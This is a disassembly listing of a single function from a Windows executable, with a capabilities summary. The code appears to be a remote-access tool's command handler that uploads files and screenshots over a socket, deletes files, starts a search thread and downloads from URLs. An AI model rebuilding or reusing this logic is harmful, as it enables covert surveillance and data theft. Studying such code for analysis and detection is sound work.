Function at 0x402a00
Capabilities:
Create thread
Delete file
Download url
Enumerate files on windows
Parse pe header
Receive data
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x40d646
mov eax, dword fs:[0]
push eax
mov eax, 0x23160
call fcn.0040c650
mov eax, dword [0x41304c]
xor eax, esp
mov dword [esp + 0x23158], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x41304c]
xor eax, esp
push eax
lea eax, [esp + 0x23174]
mov dword fs:[0], eax
mov eax, dword [esp + 0x23184]
add eax, 0xfffffff8
cmp eax, 0x17
ja case.0x402a59.10
movzx eax, byte [eax + 0x405b34]
jmp dword [eax*4 + 0x405af8]
lea ecx, [esp + 0xd44]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea ecx, [esp + 0xd44]
xor edi, edi
push ecx
mov dword [esp + 0x23180], edi
call fcn.004083f0
add esp, 4
test al, al
je 0x402c85
mov eax, dword [esp + 0xd48]
mov esi, 0x10
cmp dword [esp + 0xd5c], esi
jae 0x402aaa
lea eax, [esp + 0xd48]
push 0xfde9
lea edx, [esp + 0x324]
push eax
lea eax, [esp + 0x324]
mov dword [esp + 0x324], edx
call fcn.0040abc0
lea eax, [esp + 0x1c]
mov byte [esp + 0x2317c], 1
mov ecx, dword [esp + 0x31c]
push eax
call fcn.0040aa10
mov byte [esp + 0x2317c], 3
mov eax, dword [esp + 0x31c]
lea ecx, [esp + 0x320]
cmp eax, ecx
je 0x402b07
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0xd48]
cmp dword [esp + 0xd5c], esi
jae 0x402b1e
lea eax, [esp + 0xd48]
push 0x40f884
push eax
call dword [sym.imp.MSVCR90.dll_fopen]
mov ebx, eax
add esp, 8
cmp ebx, edi
jne 0x402b50
mov edx, dword [esp + 0x1c]
push 0x40f88c
push edx
call dword [sym.imp.MSVCR90.dll__wfopen]
mov ebx, eax
add esp, 8
cmp ebx, edi
je 0x402df6
push ebx
mov byte [esp + 0x27], 1
call dword [sym.imp.MSVCR90.dll_fgetc]
add esp, 4
mov esi, eax
push esi
push 0x40f888
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
cmp esi, 0xfe
je 0x402b88
cmp esi, 0xff
je 0x402b88
cmp esi, 0xef
jne 0x402b8d
mov byte [esp + 0x23], 0
push ebx
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea ecx, [esp + 0x10d8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_void_]
push 0x40
mov byte [esp + 0x23180], 4
mov eax, dword [esp + 0x20]
push 0x24
push eax
lea ecx, [esp + 0x10e0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::open_wchar_t_const___int__int_]
lea ecx, [esp + 0x44]
push ecx
lea ecx, [esp + 0x10d8]
call dword [sym.imp.MSVCP90.dll_public:_class_std::fpos_int____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ebx, dword [eax + 8]
add ebx, dword [eax]
je 0x402dd4
cmp ebx, 0x7d000
jbe 0x402bf6
mov ebx, 0x7d000
lea esi, [ebx + 2]
push esi
call fcn.0040b524
add esp, 4
push esi
mov ebp, eax
push edi
push ebp
call sub.MSVCR90.dll_memset
sub esp, 0xc
mov eax, esp
lea ecx, [esp + 0x10ec]
mov dword [esp + 0x30], esp
mov dword [eax], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], edi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_int__]
push ebx
push ebp
lea ecx, [esp + 0x10dc]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___int_]
mov edi, ebp
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c40
mov dl, byte [0x40f6dc]
push 0x14
mov byte [edi], dl
call fcn.00408250
add esp, 4
test al, al
jne 0x402ca4
push ebp
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0x10d4]
mov byte [esp + 0x2317c], 3
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x1c]
call fcn.0040aae0
lea ecx, [esp + 0xd44]
mov dword [esp + 0x2317c], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x40342b
push ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_htonl]
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x24], eax
xor esi, esi
jmp 0x402cc0
mov edx, dword [0x415520]
push 0
mov eax, 4
sub eax, esi
push eax
lea ecx, [esp + esi + 0x2c]
push ecx
push edx
call edi
cmp eax, 0xffffffff
je 0x402c5e
add esi, eax
cmp esi, 4
jl 0x402cc0
cmp byte [esp + 0x23], 0
jne 0x402db8
push ebp
lea ecx, [esp + 0xd80]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
mov byte [esp + 0x2317c], 5
cmp dword [esp + 0xd94], 8
mov eax, dword [esp + 0xd80]
jae 0x402d1d
lea eax, [esp + 0xd80]
push 0xfde9
lea ecx, [esp + 0x270]
push eax
lea eax, [esp + 0x270]
mov dword [esp + 0x270], ecx
call fcn.0040ab00
lea edx, [esp + 0x2c]
mov byte [esp + 0x2317c], 6
mov ecx, dword [esp + 0x268]
push edx
call fcn.0040a970
mov eax, dword [esp + 0x268]
lea ecx, [esp + 0x26c]
cmp eax, ecx
je 0x402d72
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
lea eax, [ebx + 2]
push eax
push 0
push ebp
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0x38]
mov edx, ebp
add esp, 0xc
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402d90
lea eax, [esp + 0x2c]
call fcn.0040aae0
lea ecx, [esp + 0xd7c]
mov byte [esp + 0x2317c], 4
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
push ebp
mov edi, ebx
call fcn.00408210
add esp, 4
push ebp
test al, al
je 0x402c5f
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0x10d4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
lea ecx, [esp + 0x10d4]
mov byte [esp + 0x2317c], 3
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x1c]
call fcn.0040aae0
lea ecx, [esp + 0xd44]
jmp 0x403418
lea ecx, [esp + 0xd44]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd44]
push edx
mov dword [esp + 0x23180], 7
call fcn.004083f0
add esp, 4
test al, al
je 0x402c85
cmp dword [esp + 0xd5c], 0x10
mov eax, dword [esp + 0xd48]
jae 0x402e53
lea eax, [esp + 0xd48]
push 0xfde9
lea ecx, [esp + 0x93c]
push eax
lea eax, [esp + 0x93c]
mov dword [esp + 0x93c], ecx
call fcn.0040abc0
lea edx, [esp + 0x28]
mov byte [esp + 0x2317c], 8
mov ecx, dword [esp + 0x934]
push edx
call fcn.0040aa10
mov eax, dword [esp + 0x934]
lea ecx, [esp + 0x938]
cmp eax, ecx
je 0x402ea8
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
xor ebx, ebx
push 0x7fc
lea edx, [esp + 0x20ec]
push ebx
push edx
mov dword [esp + 0x20f0], ebx
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0x34]
add esp, 0xc
mov esi, eax
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x402ed0
lea edi, [esp + 0x20e4]
sub eax, esi
add edi, 0xfffffffe
jmp 0x402ef0
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x402ef0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x1c]
push eax
and ecx, 3
push 1
rep movsb byte es:[edi], byte [esi]
push ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea esi, [esp + 0xdec]
call fcn.00401480
lea esi, [esp + 0xe1c]
call fcn.00401480
lea ecx, [esp + 0x20e4]
push ecx
mov byte [esp + 0x23180], 0xc
call fcn.0040a730
mov ebp, eax
add esp, 4
xor eax, eax
lea esi, [esp + 0xdec]
mov dword [esp + 0xdf0], ebp
call fcn.004019e0
lea ecx, [esp + 0xe1c]
call fcn.00401580
lea ebx, [esp + 0xe1c]
call fcn.00401670
mov esi, eax
push 3
push esi
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
push esi
lea eax, [esp + 0xdf0]
call fcn.00401990
mov ebx, dword [esp + 0x1c]
lea ecx, [esp + 0xe1c]
call fcn.004017f0
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x34]
push edx
push eax
call dword [sym.imp.SHLWAPI.dll_IStream_Size]
mov ecx, dword [esp + 0x1c]
mov edi, dword [esp + 0x34]
push ecx
call dword [sym.imp.SHLWAPI.dll_IStream_Reset]
push edi
call fcn.0040b524
mov edx, dword [esp + 0x20]
add esp, 4
push edi
mov ebx, eax
push ebx
push edx
call dword [sym.imp.SHLWAPI.dll_IStream_Read]
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push ebp
call dword [sym.imp.GDI32.dll_DeleteObject]
lea eax, [edi - 2]
mov dword [esp + 0x24], edi
cmp eax, 0x176ffd
ja 0x403099
push 0x17
call fcn.00408250
add esp, 4
test al, al
je 0x40306f
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.WS2_32.dll_htonl]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x24], eax
xor esi, esi
jmp 0x403030
mov ecx, dword [0x415520]
push 0
mov edx, 4
sub edx, esi
push edx
lea eax, [esp + esi + 0x2c]
push eax
push ecx
call ebp
cmp eax, 0xffffffff
je 0x40306f
add esi, eax
cmp esi, 4
jl 0x403030
push 0x13
call fcn.00408250
add esp, 4
push ebx
test al, al
je 0x403070
call fcn.00408210
add esp, 4
test al, al
jne 0x4030b7
push ebx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0xe1c]
call fcn.004014f0
lea ecx, [esp + 0xdec]
call fcn.004014f0
lea eax, [esp + 0x28]
jmp 0x402c80
push 0x1a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0x4160b8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004082f0
add esp, 0x20
push ebx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0xe1c]
call fcn.004014f0
lea ecx, [esp + 0xdec]
call fcn.004014f0
lea eax, [esp + 0x28]
call fcn.0040aae0
lea ecx, [esp + 0xd44]
jmp 0x403418
lea ecx, [esp + 0xd98]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd98]
push edx
mov dword [esp + 0x23180], 0xd
call fcn.004083f0
add esp, 4
mov dword [esp + 0x2317c], 0xffffffff
lea ecx, [esp + 0xd98]
test al, al
jne 0x403423
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x40342b
lea ecx, [esp + 0xd60]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea eax, [esp + 0xd60]
push eax
mov dword [esp + 0x23180], 0xe
call fcn.004083f0
add esp, 4
test al, al
je 0x4055c7
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x416198
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd7c]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x40323e
mov ecx, esi
push ecx
lea ecx, [esp + 0xdd4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov bl, 0xf
mov byte [esp + 0x23198], bl
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x416080
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xdec]
call fcn.00407f90
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x416080
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd7c]
call fcn.00408030
mov edx, esi
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x231b4], 0x10
lea eax, [esp + 0xe08]
mov ecx, esp
mov dword [esp + 0x74], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov byte [esp + 0x231b4], bl
call fcn.00407b50
add esp, 0x38
mov byte [esp + 0x2317c], 0xe
lea ecx, [esp + 0xdd0]
jmp 0x40340b
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x416160
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd7c]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x40326f
call fcn.00408f60
jmp 0x403411
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x41610c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd7c]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x4032a5
call fcn.00409a50
call fcn.0040a7d0
jmp 0x403411
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x416224
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd7c]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x4032ff
mov ecx, esi
push ecx
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov edx, esi
mov bl, 0x11
push edx
lea ecx, [esp + 0xd80]
mov byte [esp + 0x23180], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov byte [esp + 0x2317c], 0x12
jmp 0x40335b
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x416144
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd7c]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x403453
mov eax, esi
push eax
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, esi
push ecx
mov bl, 0x13
lea ecx, [esp + 0xd80]
mov byte [esp + 0x23180], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov byte [esp + 0x2317c], 0x14
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x40f894
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd60]
call fcn.00407f90
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x40f894
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd98]
call fcn.00408030
mov eax, dword [esp + 0xd64]
mov edi, 0x10
add esp, 0x1c
cmp dword [esp + 0xd5c], edi
jae 0x4033b7
lea eax, [esp + 0xd48]
mov esi, dword [sym.imp.MSVCR90.dll_atoi]
push eax
call esi
mov eax, dword [esp + 0xd84]
add esp, 4
cmp dword [esp + 0xd94], edi
jae 0x4033da
lea eax, [esp + 0xd80]
push eax
call esi
add esp, 4
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xd7c]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [esp + 0x2317c], 0xe
lea ecx, [esp + 0xd44]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd60]
mov dword [esp + 0x2317c], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
mov ecx, dword [esp + 0x23174]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x23158]
xor ecx, esp
call fcn.0040bc76
add esp, 0x2316c
ret
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x41609c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd7c]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x403507
cmp dword [esp + 0xd78], 0x10
mov eax, dword [esp + 0xd64]
jae 0x403496
lea eax, [esp + 0xd64]
push 0xfde9
lea edx, [esp + 0x428]
push eax
lea eax, [esp + 0x428]
mov dword [esp + 0x428], edx
call fcn.0040abc0
lea eax, [esp + 0x2c]
mov byte [esp + 0x2317c], 0x15
mov ecx, dword [esp + 0x420]
push eax
call fcn.0040aa10
mov eax, dword [esp + 0x420]
lea ecx, [esp + 0x424]
cmp eax, ecx
je 0x4034eb
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov edx, dword [esp + 0x2c]
push edx
call dword [sym.imp.MSVCR90.dll__wremove]
add esp, 4
lea eax, [esp + 0x2c]
call fcn.0040aae0
jmp 0x403411
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x41617c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd7c]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x40355f
cmp dword [0x415f6c], 0
je 0x403542
mov ecx, 0x415f18
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
cmp dword [0x416010], 0
je 0x403411
mov ecx, 0x415fc0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
jmp 0x403411
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.Search
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd7c]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x403679
mov eax, esi
push eax
lea ecx, [esp + 0xd80]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0xd7c]
push ecx
mov bl, 0x16
lea ecx, [esp + 0xdd4]
mov byte [esp + 0x23180], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23198], 0x17
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x40f8a0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xdec]
call fcn.00407f90
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x40f8a0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd98]
call fcn.00408030
add esp, 0x1c
push 0x40f6dc
mov ecx, 0x415e08
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov edx, esi
push edx
mov ecx, 0x415e08
call dword [0x40f158]
push 0x40f6dc
mov ecx, 0x415e24
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea eax, [esp + 0xdd0]
push eax
mov ecx, 0x415e24
call dword [0x40f158]
push 0
push 0
push 0
push 0x4084d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 0xdd0]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [esp + 0x2317c], 0xe
mov ecx, esi
jmp 0x40340b
push 0x1a
sub esp, 0x1c
mov dword [esp + 0x38], esp
mov esi, esp
sub esp, 0x1c
lea edx, [esp + 0xd9c]
mov ecx, esp
mov dword [esp + 0x54], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004080d0
add esp, 0x1c
call fcn.004082f0
add esp, 0x20
jmp 0x403411
push 0x40f6dc
lea ecx, [esp + 0xd64]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0xd60]
push eax
mov dword [esp + 0x23180], 0x18
call fcn.004083f0
add esp, 4
test al, al
je 0x4055c7
mov esi, dword [esp + 0xd78]
mov edi, dword [esp + 0xd64]
mov eax, edi
cmp esi, 0x10
jae 0x403701
lea eax, [esp + 0xd64]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403704
sub eax, edx
xor ebp, ebp
cmp eax, 1
jbe 0x40375e
push 0x104
push ebp
push 0x415b40
call sub.MSVCR90.dll_memset
add esp, 0xc
mov eax, edi
cmp esi, 0x10
jae 0x403735
lea eax, [esp + 0xd64]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403737
mov edi, 0x415b40
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403748
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov dword [0x415700], eax
mov dword [0x415704], eax
mov word [0x415708], ax
mov eax, 0x415b40
mov dword [0x415634], ebp
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403780
sub eax, edx
cmp eax, 2
jbe 0x403411
push 0x40f6dc
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov bl, 0x19
push 0x416128
lea ecx, [esp + 0xd48]
mov byte [esp + 0x23180], bl
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x415b40
lea ecx, [esp + 0xd48]
call dword [0x40f1d0]
push 0x4161b4
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov eax, dword [esp + 0xd48]
mov esi, 0x10
cmp dword [esp + 0xd5c], esi
jae 0x4037ff
lea eax, [esp + 0xd48]
push ebp
push ebp
lea ecx, [esp + 0x34]
push ecx
push eax
push ebp
call sub.urlmon.dll_URLOpenBlockingStreamA
cmp eax, ebp
jne 0x403835
mov eax, dword [esp + 0x2c]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
lea ecx, [esp + 0x18]
push ecx
push 4
push 0x415634
push eax
call edx
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push 0x32
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40f6dc
lea ecx, [esp + 0xd80]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 0x416128
lea ecx, [esp + 0xd80]
mov byte [esp + 0x23180], 0x1a
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x415b40
lea ecx, [esp + 0xd80]
call dword [0x40f1d0]
push 0x4160d4
lea ecx, [esp + 0xd80]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov eax, dword [esp + 0xd80]
cmp dword [esp + 0xd94], esi
jae 0x4038a8
lea eax, [esp + 0xd80]
push ebp
push ebp
lea ecx, [esp + 0x2c]
push ecx
push eax
push ebp
call sub.urlmon.dll_URLOpenBlockingStreamA
cmp eax, ebp
jne 0x4038de
mov eax, dword [esp + 0x24]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
lea ecx, [esp + 0x3c]
push ecx
push 0xa
push 0x415700
push eax
call edx
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
